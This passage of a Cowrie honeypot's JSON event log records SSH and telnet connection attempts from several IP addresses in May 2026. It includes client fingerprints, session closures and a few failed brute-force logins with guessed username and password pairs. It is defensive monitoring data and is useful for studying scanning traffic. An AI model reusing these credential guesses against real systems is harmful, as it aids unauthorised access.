"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:14.280514Z","src_ip":"159.203.92.129","session":"10cd19264f45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"angel","password":"angel","message":"login attempt [angel/angel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:14.295485Z","src_ip":"159.203.92.129","session":"10cd19264f45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:15.303137Z","src_ip":"159.203.92.129","session":"10cd19264f45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":56450,"dst_ip":"159.203.135.109","dst_port":23,"session":"511ffd67121a","protocol":"telnet","message":"New connection: 209.159.146.115:56450 (159.203.135.109:23) [session: 511ffd67121a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:17.910061Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":33762,"dst_ip":"159.203.135.109","dst_port":23,"session":"537c216a15c5","protocol":"telnet","message":"New connection: 209.159.146.115:33762 (159.203.135.109:23) [session: 537c216a15c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:19.137562Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":44186,"dst_ip":"159.203.135.109","dst_port":23,"session":"67d81b0271ff","protocol":"telnet","message":"New connection: 209.159.146.115:44186 (159.203.135.109:23) [session: 67d81b0271ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:21.297482Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":48764,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6e6f1069a59","protocol":"telnet","message":"New connection: 209.159.146.115:48764 (159.203.135.109:23) [session: a6e6f1069a59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:22.302091Z"}
{"eventid":"cowrie.session.closed","duration":31.03624701499939,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:22.561909Z","src_ip":"209.159.146.115","session":"befb994b174d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.64140033721924,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:22.751845Z","src_ip":"209.159.146.115","session":"5158680c20e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.63508200645447,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:22.911396Z","src_ip":"209.159.146.115","session":"6f69ed189511","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.343382596969604,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:23.352666Z","src_ip":"209.159.146.115","session":"3589186360d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.67268919944763,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:23.701879Z","src_ip":"209.159.146.115","session":"3d151642a41c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":58958,"dst_ip":"159.203.135.109","dst_port":23,"session":"375fb2aec5df","protocol":"telnet","message":"New connection: 209.159.146.115:58958 (159.203.135.109:23) [session: 375fb2aec5df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:24.215633Z"}
{"eventid":"cowrie.session.closed","duration":33.42742943763733,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:26.534762Z","src_ip":"209.159.146.115","session":"82a9f33cb016","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.49000144004822,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:27.631079Z","src_ip":"209.159.146.115","session":"33b2bcd53281","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":33014,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ab6b4813b46","protocol":"telnet","message":"New connection: 209.159.146.115:33014 (159.203.135.109:23) [session: 8ab6b4813b46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:29.220947Z"}
{"eventid":"cowrie.session.closed","duration":34.878416299819946,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:30.090734Z","src_ip":"209.159.146.115","session":"611b0546084d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.19020676612854,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:30.333523Z","src_ip":"209.159.146.115","session":"fe21140690a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":41776,"dst_ip":"159.203.135.109","dst_port":23,"session":"a93b7b7156f2","protocol":"telnet","message":"New connection: 209.159.146.115:41776 (159.203.135.109:23) [session: a93b7b7156f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:30.897315Z"}
{"eventid":"cowrie.session.closed","duration":33.838661193847656,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:31.269607Z","src_ip":"185.26.126.47","session":"588ff07b3f0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.588080406188965,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:32.920115Z","src_ip":"185.26.126.47","session":"3139a25173de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":52162,"dst_ip":"159.203.135.109","dst_port":23,"session":"26babab20869","protocol":"telnet","message":"New connection: 209.159.146.115:52162 (159.203.135.109:23) [session: 26babab20869]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:33.583598Z"}
{"eventid":"cowrie.session.closed","duration":33.15774846076965,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:34.767520Z","src_ip":"209.159.146.115","session":"6c4d49e9fcff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":59970,"dst_ip":"159.203.135.109","dst_port":23,"session":"3529a98cc060","protocol":"telnet","message":"New connection: 209.159.146.115:59970 (159.203.135.109:23) [session: 3529a98cc060]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:34.773763Z"}
{"eventid":"cowrie.session.closed","duration":35.3613338470459,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:34.833022Z","src_ip":"209.159.146.115","session":"2b6d96406b78","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":60418,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c51da3036a8","protocol":"telnet","message":"New connection: 209.159.146.115:60418 (159.203.135.109:23) [session: 5c51da3036a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:34.853001Z"}
{"eventid":"cowrie.session.closed","duration":32.54583978652954,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:36.081052Z","src_ip":"209.159.146.115","session":"921a04025d62","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.292659521102905,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:38.110412Z","src_ip":"209.159.146.115","session":"2a25be7cdf5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.88668251037598,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:38.927546Z","src_ip":"209.159.146.115","session":"9a6b9409d5b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":49506,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e55fe729b46","protocol":"telnet","message":"New connection: 209.159.146.115:49506 (159.203.135.109:23) [session: 9e55fe729b46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:39.230303Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":51312,"dst_ip":"159.203.135.109","dst_port":23,"session":"5bf5f8d5f7da","protocol":"telnet","message":"New connection: 209.159.146.115:51312 (159.203.135.109:23) [session: 5bf5f8d5f7da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:39.570328Z"}
{"eventid":"cowrie.session.closed","duration":45.36356472969055,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:39.919541Z","src_ip":"185.26.126.47","session":"3367ea7d6f77","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":55830,"dst_ip":"159.203.135.109","dst_port":23,"session":"02b0f87562c7","protocol":"telnet","message":"New connection: 209.159.146.115:55830 (159.203.135.109:23) [session: 02b0f87562c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:40.255824Z"}
{"eventid":"cowrie.session.closed","duration":32.84228777885437,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:42.058665Z","src_ip":"209.159.146.115","session":"bbb09ff03d37","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.54921770095825,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:42.644543Z","src_ip":"209.159.146.115","session":"52e809e389db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":36860,"dst_ip":"159.203.135.109","dst_port":23,"session":"edce6fdf0aee","protocol":"telnet","message":"New connection: 209.159.146.115:36860 (159.203.135.109:23) [session: edce6fdf0aee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:42.973898Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":36974,"dst_ip":"159.203.135.109","dst_port":23,"session":"de42c1dcbf37","protocol":"telnet","message":"New connection: 209.159.146.115:36974 (159.203.135.109:23) [session: de42c1dcbf37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:43.023952Z"}
{"eventid":"cowrie.session.closed","duration":36.85100317001343,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:43.423559Z","src_ip":"209.159.146.115","session":"16cf1cfeff26","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":38278,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9f3ed63ee5a","protocol":"telnet","message":"New connection: 209.159.146.115:38278 (159.203.135.109:23) [session: b9f3ed63ee5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:43.550488Z"}
{"eventid":"cowrie.session.closed","duration":35.63202404975891,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:44.275009Z","src_ip":"209.159.146.115","session":"7a49e48fc6ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.95738339424133,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:44.307209Z","src_ip":"209.159.146.115","session":"50498e8ae0a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":51218,"dst_ip":"159.203.135.109","dst_port":23,"session":"8efe57485f83","protocol":"telnet","message":"New connection: 209.159.146.115:51218 (159.203.135.109:23) [session: 8efe57485f83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:46.837290Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":51494,"dst_ip":"159.203.135.109","dst_port":23,"session":"45fd4cb6e9fc","protocol":"telnet","message":"New connection: 209.159.146.115:51494 (159.203.135.109:23) [session: 45fd4cb6e9fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:46.893866Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":54704,"dst_ip":"159.203.135.109","dst_port":23,"session":"5eb2a8cb526b","protocol":"telnet","message":"New connection: 209.159.146.115:54704 (159.203.135.109:23) [session: 5eb2a8cb526b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:47.915183Z"}
{"eventid":"cowrie.session.closed","duration":35.30767321586609,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:48.560088Z","src_ip":"209.159.146.115","session":"668d0a1e0d08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":37016,"dst_ip":"159.203.135.109","dst_port":23,"session":"355906cb1df2","protocol":"telnet","message":"New connection: 209.159.146.115:37016 (159.203.135.109:23) [session: 355906cb1df2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:50.091110Z"}
{"eventid":"cowrie.session.closed","duration":34.370575189590454,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:53.508014Z","src_ip":"209.159.146.115","session":"537c216a15c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.66.34.121","src_port":50314,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb26eb553006","protocol":"ssh","message":"New connection: 157.66.34.121:50314 (159.203.135.109:22) [session: fb26eb553006]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:53.601133Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:53.607033Z","src_ip":"157.66.34.121","session":"fb26eb553006","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:53.839844Z","src_ip":"157.66.34.121","session":"fb26eb553006","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.31811022758484,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:54.228076Z","src_ip":"209.159.146.115","session":"511ffd67121a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.34248423576355,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:54.644485Z","src_ip":"209.159.146.115","session":"a6e6f1069a59","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Welcome@1234","message":"login attempt [ubuntu/Welcome@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:54.801658Z","src_ip":"157.66.34.121","session":"fb26eb553006","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":49914,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e3c7eeb98c9","protocol":"telnet","message":"New connection: 209.159.146.115:49914 (159.203.135.109:23) [session: 0e3c7eeb98c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:55.919446Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:56.037859Z","src_ip":"157.66.34.121","session":"fb26eb553006","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.471479177474976,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:56.686989Z","src_ip":"209.159.146.115","session":"375fb2aec5df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.66219472885132,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:56.959578Z","src_ip":"209.159.146.115","session":"67d81b0271ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":40524,"dst_ip":"159.203.135.109","dst_port":23,"session":"dac7f4ba4dd0","protocol":"telnet","message":"New connection: 23.254.167.244:40524 (159.203.135.109:23) [session: dac7f4ba4dd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:57.101824Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49370,"dst_ip":"159.203.135.109","dst_port":22,"session":"d26224c1893f","protocol":"ssh","message":"New connection: 159.203.92.129:49370 (159.203.135.109:22) [session: d26224c1893f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:59.913214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:59.917888Z","src_ip":"159.203.92.129","session":"d26224c1893f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:59.921576Z","src_ip":"159.203.92.129","session":"d26224c1893f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"angel","password":"angel1","message":"login attempt [angel/angel1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:56:59.933015Z","src_ip":"159.203.92.129","session":"d26224c1893f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:00.943142Z","src_ip":"159.203.92.129","session":"d26224c1893f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":47588,"dst_ip":"159.203.135.109","dst_port":23,"session":"035f2ff3d730","protocol":"telnet","message":"New connection: 209.159.146.115:47588 (159.203.135.109:23) [session: 035f2ff3d730]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:01.105672Z"}
{"eventid":"cowrie.session.closed","duration":32.44912552833557,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:01.669981Z","src_ip":"209.159.146.115","session":"8ab6b4813b46","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.76414656639099,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:03.661338Z","src_ip":"209.159.146.115","session":"a93b7b7156f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":56634,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd9c06b6a092","protocol":"telnet","message":"New connection: 209.159.146.115:56634 (159.203.135.109:23) [session: fd9c06b6a092]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:03.765634Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":57888,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb722ad2d057","protocol":"telnet","message":"New connection: 209.159.146.115:57888 (159.203.135.109:23) [session: fb722ad2d057]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:05.345099Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":33632,"dst_ip":"159.203.135.109","dst_port":23,"session":"6abcbd4bbeda","protocol":"telnet","message":"New connection: 209.159.146.115:33632 (159.203.135.109:23) [session: 6abcbd4bbeda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:05.413304Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":36578,"dst_ip":"159.203.135.109","dst_port":23,"session":"537a5f6141d2","protocol":"telnet","message":"New connection: 209.159.146.115:36578 (159.203.135.109:23) [session: 537a5f6141d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:06.502429Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":38098,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc45edf36e49","protocol":"telnet","message":"New connection: 209.159.146.115:38098 (159.203.135.109:23) [session: fc45edf36e49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:06.988639Z"}
